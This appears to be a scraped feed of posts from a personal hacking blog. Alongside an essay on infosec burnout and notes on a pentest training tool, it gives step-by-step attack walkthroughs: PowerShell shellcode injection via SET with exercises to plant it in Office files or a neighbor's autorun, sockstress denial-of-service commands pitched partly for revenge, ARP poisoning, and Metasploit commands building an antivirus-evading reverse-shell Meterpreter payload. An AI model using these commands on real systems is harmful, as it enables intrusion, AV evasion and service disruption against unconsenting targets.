Powershell ShellCode Injection
Dave Kennedy introduced this attack in SET and it’s a very useful technique especially because most AV vendors don’t detect it. The easy part is generating the actual shellcode because Metasploit does all of that work for you. The hardest part of this technique is getting the user to do something in order to execute the code. You can have them execute it via multiple attack vectors so it’s important to be creative. Think autoruns, etc.

10> Powershell Attack Vectors
1> Powershell Alphanumeric Shellcode Injector

Set up the payload listener (this is the machine you want the victim to connect back to). Go ahead and configure the architecture of the victim and watch Metasploit run and generate your shellcode.

In Kali, the generated shellcode will be located in:

If you’re still using Backtrack, I can get down with that but you should upgrade. Kali is the bomb.
Once the victim executes that code, the listening machine will get a shell and you’re golden. It’s a good idea to plan out some ways in which targets will execute your shellcode. This is why this is a social engineering attack. Werd up son.

Network Attack Abstract (ITPE)

Descrip: Generating a Powershell Shellcode Injector

Int / Req: Social Engineering, Remote Access [Shell]Obtained

Tools: SET, Metasploit, Powershell

1.) Identify a Windows target to exploit
2.) Set up your reverse shell callback host
3.) Generate the Powershell Injection code
4.) Devise a method of user action to run the exploit

Exercises :
1.) Inject the ps1shellcode into an MS Office file for stealthy exploitation
2.) Using legitimate credentials, place a ps1 shellcode injection file into an autorun file on a neighbor’s machine

Attack Practice:
1.) Quickly generate a Powershell Shellcode Injection ps1 file with a callback host to

PENTRN Vocabulary and Vernacular
Target: The subject being subjected to penetration analsysis
G2: Mandatory 2 hours of Google research pertaining to the target.
IG2ST: Initial G2 Steps to Take
LFH: Low Hanging Fruit
IMEH: Initial Mandatory Email Harvest
CAL: Contacts and Associates List
PPOE:  Potential Points of Entry
NSD: Network Security Defender
FLB: Forward Lookup Brute force.  

InfoSec: Not Quite Pointless, but close
Is information security a phantom career choice?  Does it exist because it’s a natural reaction to a force that cannot be controlled?  I’m beginning to think it is.

I’m well aware of what it takes to protect a live, multi-user, multi-vectored network.  I’m familiar with Richard Bejtlich’s works, theories and methodologies.  I’m a seasoned programmer and I’m excellent at developing my own tools; whether they’re for analysis, recon, or real-time situational awareness.  However, what I’m not willing to do is kill myself or sacrifice my youth to what I like to call professional rabbit chasing.

My close friends and school mates often ask me why I want to leave security behind.  They see my progress and current career state as enviable and profitable; alas, they’re on the outside looking in.  From an outsider’s perspective, information security seems like a fun and rewarding career.  You get to dig into the trenches, hunt down digital bad guys and develop strategies to protect networks against intruders.  I’ll admit there are fun aspects to the industry, but the reality of the situation is an overwhelming burden of stress and a high probability of infosec burnout.

Infosec burnout is becoming more common and it’s starting to get some attention.  Having been in the industry for almost 8 years, I can confidently say that it’s an area that needs attention.  I admit, it’s fun and interesting to be at the forefront of what’s increasingly becoming a major topic of international socio-economic issues.  Everywhere you turn there’s some mention of data breaches, hackivism, NSA leaks or cyber-terrorism.  The importance of information security is taking off at an alarming rate and truth be told, it was just a matter of time.

I was 12 years old when I realized that computers and information were the way of the future.  This was the year 1995.  I was obsessed with anything and everything computer related and dedicated myself to learning as much about them as I could.  I was no stranger to stealing books from school, rummaging through the dumpsters of CompUSA,  and riding my bike 15 miles to thrift shops/flea markets/computer conventions just to get my hands on some new equipment or meet someone that could open my world up to something new.  I knew there was something to be found within the confines of those copper wires that were beginning to connect the world over, I just didn’t know what it was or what it meant.

Flash forward to 2013 and everyone’s got a Linux machine in their pocket, the primary way in which people communicate and share their lives is through a social web site and if you don’t know how to type, you’re practically worthless in our increasingly high-tech society.   It’s safe to say that the culture from which I came is long gone and the complete commercialization of computers, networks and more specifically “Information Security” is alive and kicking.

I came from an era where the term Information Security didn’t really exist.  To be interested in computer security was a rebellious mindset; one that was rooted in angsty adolescence and the acknowledgement that intelligence didn’t necessarily mean straight A’s and a full ride to Brown.  Individuals like me that had an affinity for programming and dare I say, hacking, were interested and drawn to the LCD because there was something to be found, discovered and explored.  How were we to know that the endless pursuit of fun, creation, art and power would ever be packaged up, labeled and sold to the corporations of the world?

Those from my generation are the true pursuers of this forbidden knowledge.  As information security becomes more main-stream it will evolve into a 9-5 job that will lack any and all passion.  It is the passionate ones that have the dedication, will and interest to protect the world’s data, but they are now too few and far between.  Those that have a passion for security, networking, coding, and ultimately hacking, do it for reasons that the masses and the average infosec 9-5er cannot explain.  Unfortunately these individuals are the worst possible candidates for filling a seat in an information security position.

Information security personnel, once jaded, become liabilities.  I speak from experience because the amount of knowledge I’ve acquired over the last 7-15 years cannot be taken away from me.  In the modern high-tech and interconnected world that we live in, skills that I have honed over the majority of my life make me not only dangerous, but sketchy, shady and a threat to anyone who uses computers and networks to do business or live life; basically everyone.  I don’t find the same joy and satisfaction that I used to get from learning something new about security.  I think it’s due to the fact that I’ve realized that security is something that can never be mastered and to pursue mastery in a field as broad as information security is emotional, mental, and professional suicide.   My perspective is also brought on by the amount of work I take for my employer as I’m the only information security professional in the organization, but I digress.

Eventually, I will get as far away from information security as I possibly can although that may be a less than economical decision considering there’s so much money to be made by exploiting it.  It’s very difficult for me to dedicate myself to something that feels like such a lost cause.  When I consider the amount of work and sacrifice it takes to just stay current within information security, I’m reminded of the life I want to live; a life that does not include sitting sedentary in front of a computer during the late night hours of my progressively stressful and sleepless life.

Because information security requires the commitment of after hours functioning, it has no choice but to breed an anti-social discernment.  Those that don’t have the time or interest to put in the extra hours will never be sharp enough to make enough of a difference.  Those that have the interest will eventually realize that their time is more valuable than sitting around in their office, tinkering away at something that only a handful of people will appreciate.  In my experience, as a hacker gets older and the reasons he/she became a hacker in the first place begin to fade into obscurity, the really good things in life begin to take priority over what was once the most important thing in the world to them.  We can’t stay up all night for the rest of our lives.

Information security won’t just affect your social life; it will also begin to take effect on your physical health.   To stay abreast, current, sharp and effective, one has no choice but to sit for long periods of time, burn the midnight oil and stay awake when everyone else is snoring.  I suppose this was fine when we were kids, but as adults, sleep becomes more and more important for a healthy lifestyle.

I have to ask myself what the point is.  How much of a difference can you really make working in information security?  Is the job worth the stress when nothing you do can completely eliminate the threat of compromise?  Is the job worth the stress when every day you drive home and think to yourself, “Did I make a difference today?”  Is the job worth the lack of sleep, inevitable social sacrifices and adverse effects to your health?  To some it does because it’s profitable, new and growing in popularity. But to those that haven’t been around long enough to have developed a solidified perspective and dedication to what it takes to implement effective protection, I’m convinced the phantom position is for you.

Attack Methodology: ARP Poisoning with Scapy
Scapy is one of my favorite tools.  It combines Python and Packet Analysis and Manipulation into one sweet little interpretive package.   Scapy can be used in a lot of different ways, but I like to use it to cause trouble and break shit.  To start off, I’m going to walk through how to ARP poison a network.

ARP Poisoning can be performed in a lot of different ways.  It’s an effective attack because ARP has no authentication, meaning any system that’s sitting on the local area network will use all broadcast ARP requests to communicate.  This equates to a network vulnerability in that if you can produce spoofed ARP packets with MAC addresses that either don’t coincide with the IP associated OR MAC addresses that just don’t exist at all, you can seriously cause some havoc.

Before I get into it, I just want to warn anyone that wants to try this to avoid testing it at work.  It’s effects are immediate and it’ll take a good 10 minutes for everyone’s computer on the local lan to clear out its ARP cache.

The code is here

EDIT: Whoa, I seem to have forgotten to import scapy.  Ahh well, you'll figure it out.

q0m~@support free info

DoS Attacks: Diversions, Headaches, and Revenge (Part 1)
Given, I’m not a big fan of immature (and pointless) destruction however knowing how to successfully pull off a DoS can be useful.  A DoS attack can be used as a diversion, to buy yourself some time, to cause headaches, and even to fulfill that vengeful side of you when someone rubbed you the wrong way. >:{) Keep in mind that a DoS doesn’t have to be directed at a server specifically, it can be network based or even just a targeted account lockout. >:{) I’ve got a couple of DoS techniques in my arsenal one, of which is the tool sockstress.

Sockstress has been around for a while and can actually brick some os versions.  It works by establishing a full handshake with open ports on a target machine.  The final portion of the handshake is imitated by the client (that’s you, the attacker) but the window size is changed to 0.  TCP stacks on various operating systems cannot accept data from a packet with a window size of 0 so the target machine keeps that connection open waiting for the client to send some legit traffic.  This uses up an excessive amount of RAM, and it does it rather quickly.  The best part is even after the attack is terminated, the target machine’s RAM doesn’t dissipate.  The machine becomes beyond sluggish and ultimately worthless.

Before testing, backup any necessary data and be sure to have a restore point on the VM or the actual reinstall disk of the OS.
It's important to stop sending RST packets to the target machine in response to the unrecognized SYN/ACKs during the attack.

Set this IP tables rule to prevent RST packets from leaving your box:
iptables -A output -p TCP --tcp-flags rst rst -d [target-host] -j DROP

To run an attack on port 80:
# ./sockstress eth0

To send a SYN packet every second:
# ./sockstress eth0 -d 1000000

Sending data to the victim after connx has been established:
# ./sockstress eth0 -p payloads/http

Multiple instances of the tool are required to run the attack against multiple ports.  The only way to prevent sockstress attacks is to whitelist access to TCP services, which is ridiculous.  The only viable remediation is to rate limit connections with the local firewall.  For example, blocking a specific IP after it opens more than 10 connections to a specified port within a certain amount of time.

q0m~@Support free Info >:{)

PENTRN Progress: Syntax Comparison Percentage
I’ve completed a string accuracy matching algorithm that will generate an accuracy percentage when comparing two different syntax strings of a one-liner network attack.  The solution matches a character with the characters next to it creating an index of three character strings that are compared to each other.  This was the most accurate way I could come up with when comparing attack strings for the PENTRN module.  The solution has not been implemented into the GUI, but it works on a conceptual level within the CLI.  I’m looking forward to plugging it into the module and getting everything working.  The module itself needs some tweaking as Discipline selections are not clearing the reserved memory which is causing slow down because of the leakage.  This needs to be addressed because it’s affecting performance.

I’ve also begun converting Ruby fuzzers to Python in order to conceptualize the concept of proactive/automated fuzzing engines.  I suppose the speed a C program would be beneficial but I’ve always believed that a PoC is well worth the effort to produce because progress breeds motivation.

I’ve got some recipes for traffic manipulation written that I’ll post later on tonight.  It’s funny how some days you don’t want to look at a line of code whereas others that’s the only thing you do all day.  Today was one of the latter.

Getting a Meterpreter Shell on a Machine without an Exploit.
Over the weekend, I was woken up by my company’s lead engineer asking me if I had a password from a system account that hasn’t been changed in years.  I usually fire off a password crack once or twice a year but what I haven’t been doing is cracking the passwords from a parallel domain.

Suffice to say, I didn’t have the pw to the service account, but of course I knew how to get it.  The hashes of course were on the domain controller of the domain I don’t get a lot of action on.  What I had was local admin access though ;)  I won’t disclose the type of AV my company uses in house, but I do know that encoding a file with the trusty x86/shikata_ga encoder works really well, or so I thought.

Anyway, because I was at home, using the vpn, I had to route my VM through a local ssh tunnel in order for the corp network to give me the address information I needed.  Then I had to fire up a meterpreter multi handlin’ listener so the Domain controller could actually reach my VM, through VPN.

After I made sure the DC could touch my VM, I put together the executable that would make that connection to the meterpreter handler.  I encoded it with x86/shikata_ga and went to copy it to the DC.  FUCK, AV recognized it instantly and I got a little worried.  Although I was assisting some engineers in recovering a pw, I still got that rush I’m so addicted to.  Good times.
So, I started a couple of combinations of encoders, although I should already know this (sigh, security never sleeps).  I put together some interesting combinations and I was about to try a couple of them, when the lead engineer hit me back saying that someone had recovered the pw from some old documentation.  Blast!

Whatever though.  It was a good trial exercise, and a blog post came out of it.

Ø  Set up the multi-handler on the attack machine
Msf> use exploit/multi/handler
Msf> set PAYLOAD /windows/meterpreter/reverse_tcp
Msf> set LHOST|
Msf> set LPORT 4521
Msf> set ExitOnSession false
Msf> exploit –j

Ø  Create the executable to connect to the meterpreter handler
#> msfpayload windows/meterpreter/reverse_tcp LHOST= X > m_payload.exe

Ø  OR create and encode the executable to connect to the meterpreter handler
#> msfpayload windows/meterpreter/reverse_tcp LHOST=  r | msfencode –e x86/shikata_ga_nai –c 20 –t X > m_payload.exe

Take a look at the technique to encode the executable.  You can also encode multiple times, but keep in mind that most AV products now detect the majority of msfpayloads.

Adding new exploits to Metasploit in Kali
Of course one of the first things I do when I get to work in the morning is check my blogs and feeds. One of which is the exploit-database. Occasionally there's a new exploit that I'd like to try out and oftentimes it's a ruby script for the msf. that's the metasploit framework if you're not familiar.

When you want to add a new exploit to the framework, it's pretty damn simple. Exploits in msf-kali are now rooted in the /usr/share/ directory.


..to be exact.

Navigate on over to that directory and create a new folder. I call mine web because I get my exploits from the web. I'm not writing my own yet, but I'm working on it. Get off my back. haha.

So we're now in:


Fire up a text editor or what every you use to write/create text files and create the *.rb file. Save it and you're good to go.

If you have msf running, close it and restart it.

Search for the exploit with the search command and you should be ready to rock.


*Move fast and break stuff.*

PENTRN OffSec Penetration Testing Procedures (POPTP)?
In my endless quest to become a better programmer, hacker and penetration tester, I’ve realized that there is a nice balance between having the knowledge, applying pure skill and procedural methodology.  I’ve read numerous times that good programmers are born not made; you ‘ve either got it or you don’t.  As much as I hate to admit it, I think this is somewhat accurate.   Given, you can probably excel at anything you’re genuinely interested in getting better at, but you can’t make someone into a good programmer if they one, don’t care, or two, don’t have what it takes.  Programming is not about procedure, it’s a way of thinking that is exerted through intellectual application.  This is why software engineering is different from information security.

Information security on the other hand, is highly procedural.  There’s hardly any abstract thinking involved and it best functions when there are rules and methodology to follow.  Security involves being thorough and identifying anomalies that may introduce risk or grant unauthorized access.  Security isn’t a science in that there’s no real way to test something and ensure that it’s 100% bullet proof.  When it comes to penetration testing, one cannot just whip out their guns and start firing at whatever is in front of them.  This is the true difference between software engineers and security folk.  Security folk, as much as I might get reamed for this, aren’t necessarily creative.  They’re good at following instructions.  Engineers tend to be visionaries, imagining something up and devising a plan to build it from scratch.

But I digress, because I’m drifting.  As a software engineer, I enjoy building things that stem from just the ether of my imagination.  I do however, want to continue to improve my penetration testing capabilities as I think it pretty much improves my overall hacking abilities.  Yes, my entire professional career is based around the fact that I’m chasing the title.  And not the title of senior engineer bla blah, or CIO of Corporate Company Inc… it’s the title of hacker; but more on that later.

When it comes to penetration testing, there absolutely have to be procedures to follow, otherwise it’s easy to get off track and lose where you are.  When specific procedures are followed, it’s easy to stay organized, and document your findings.  It’s also easy to stop, take a break, and pick up where you left off because you’re just going down a list.  Hacking, in the penetration testing sense is methodical.  Step 1, scan the network for open ports.  The skill that’s involved is how much you know about networks and how you can creatively accomplish the steps within the list you’re following.  All steps become tasks, tasks that can be accomplished any number of ways.

So with all that being said, penetration testers have their own procedures that they follow when they’re performing assessments.  I think it’s important to thoroughly develop your own procedures and follow them appropriately, adding new steps or tasks as your craft improves.  My theory consists of having a collection of procedures that apply to penetration tests from both a broad and specific perspective.  For example, procedures should be followed when gathering information on a target.  This should be a thorough list that is compiled with a documentation regimen that can be easily referenced and interpreted.

The following is my outline for procedures of which to develop to improve my penetration testing experience:

High Level Penetration Testing Procedures (HLPTP)
R (Reconnaissance)
E (Enumeration)                                                                                                          
A (Access or Attack)
M (Maintaining Access)
C (Covering Tracks)

Vulnerability scanners are noisy and unreliable because they generate a lot of false positives.  It’s more important to learn how to test these assets manually, using common tools for enumeration.

Network Component Penetration Testing Procedures (NCPTP)
Windows Servers Windows XP Penetration Proc
Windows 7 Penetration Proc
Windows Server Penetration Proc
Windows SQL Server Proc
Identify what services are running
Check for RPC/DCOM vulnerabilities
Check for NULL Sessions
Unix Linux Servers *Nix Workstation Assessments Proc
*Nix Server Assessments Proc
Network Routers Cisco Switch and Router Enum Proc
VPN Endpoint Assessment Proc
Network Firewalls Firewall Security Assessment Proc
Web Server Testing IIS Server Security Assessment Proc

I can envision an application that allows you to click through these procedures, eventually getting down to the steps to follow for the specific category you’re in.  This would make penetration tests easy to perform because the procedures are all in one place.  It’s basically all about enumeration.  You’re looking for holes in some network resource that could be exploited.  Without following specific procedures, these holes will not be found; at least not all of them.  The Enumeration phase is of the utmost importance.   And if you’re like me and you work for a company, this type of activity should be going on all the time.  That’s essentially what they’re paying you for.. to find the holes in the assets that are critical to business operations.. Hell, if you’re not doing it, who is?

From business perspective, you could take one category of Enumeration and focus on that all week, generating a report to discuss at the next security status meeting.  One week you can focus on Windows XP machines, and the next, just target the SQL servers in the environment.  This is a much more methodical way of working, which would work. 

PENTRN Offsec Training Module
The PENTRN OffSec Training Module is something I’ve been hacking together for a while.  Back in 09 when I started to purchase books like the Amazon junkie that I am, I found myself consuming too many techniques which would eventually just become theory because I wasn’t practicing them enough.  I became consumed with trying to memorize syntax because I knew what I wanted to do, but I didn’t always remember the correct sequence of characters that would allow me to pull off the technique.  I began to realize that the majority of the attacks/techniques I was absorbing could be broken down into three primary categories:

1.) Technique
2.) Syntax
3.) Description

A technique is basically the name of whatever sequence of commands you’re executing.  For example, when you know you need to perform a man in the middle attack from a victim to a gateway in order to retrieve and analyze the traffic between them, do you really need to have the way in which it’s done memorized?  All you need to know is that you need to perform this technique/attack.  It’s about knowing what you have to do; which is the fundamental idea of it all.
The syntax of a technique is how it’s performed.  It’s the way in which you throw the command at the shell.  The syntax can be a one-liner or an entire sequence of commands that are performed in order to execute the technique/attack.  A one-liner technique would be something like “Sniff specific protocol traffic” with the syntax equating to “tcpdump icmp”.
The Description is relatively self-explanatory.  The Description describes why you would use this and in what types of situations.  I felt this was needed as well as important because it supplies context to the technique being performed.

UPDATE:  I realized that the tool was practically worthless unless it had a search feature built in.  This was completed a couple of days ago, and I'm happy to say that it's working quite nicely.  I've already found ways in which to use it in my regular work day, so I can't wait to have some more time to expand upon it.

The nice thing about it is the fact that the data resource is an XLS file.  It's easy to modify the data, edit or add new entries.  It's fully dynamic so as long as you're following the correct syntax and data structure the module will read the file accordingly.

In addition, my new project is a penetration testing procedural module that will put penetration testing procedures all in once place.  It's very likely that I'll combine the PENTRN Training Module with the Proc module as it seems like the majority of the training module techniques and methods would be under the "Access or Attack" phase of a penetration test.  More to come.  And I'll get around to making the Beta version of the PENTRN module available this weekend.


You are viewing cmdjunkie